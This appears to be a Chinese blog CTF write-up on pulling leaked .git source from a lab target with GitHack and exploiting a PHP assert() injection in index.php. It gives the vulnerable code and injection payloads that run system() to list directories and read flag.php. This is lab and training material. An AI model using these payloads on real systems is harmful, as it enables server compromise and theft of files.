GIT源码泄露AND命令执行

作者:小俊 分类: WEB漏洞大全 发布于:2020-3-27 22:28 ė98次浏览 60条评论

git工具:https://github.com/lijiejie/GitHack

php命令执行基础

isset:返回值为布尔类型,变量不存在,或变量存在且其值为NULL,或多个变量时,一项不符则为 FALSE. assert:把整个字符串参数当php代码执行,(直接传递普通的代码是无法执行的) file_exists:判断目录或者文件是否存在,返回布尔型. strpos:判断字符出现的位置,返回数字 

靶场

靶场

源码下载

python GitHack.py -u "http://111.198.29.45:32481/.git/" 

源码

源码要求(index.php)

<?php  if (isset($_GET['page'])) {  $page = $_GET['page']; } else {  $page = "home"; }  $file = "templates/" . $page . ".php";  // I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");  // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!");  ?> 

构造payload,命令执行

?page=abc') or system("ls");// 

目录

目录跳转,发现flag.php

?page=abc') or system("cd /templates;ls");// 

flag.php

查看flag

?page=abc') or system("cat templates/flag.php");// 

flag

本文出自 小俊博客,转载时请注明出处及相应链接。

0

发表评论

电子邮件地址不会被公开。必填项已用*标注


Ɣ回顶部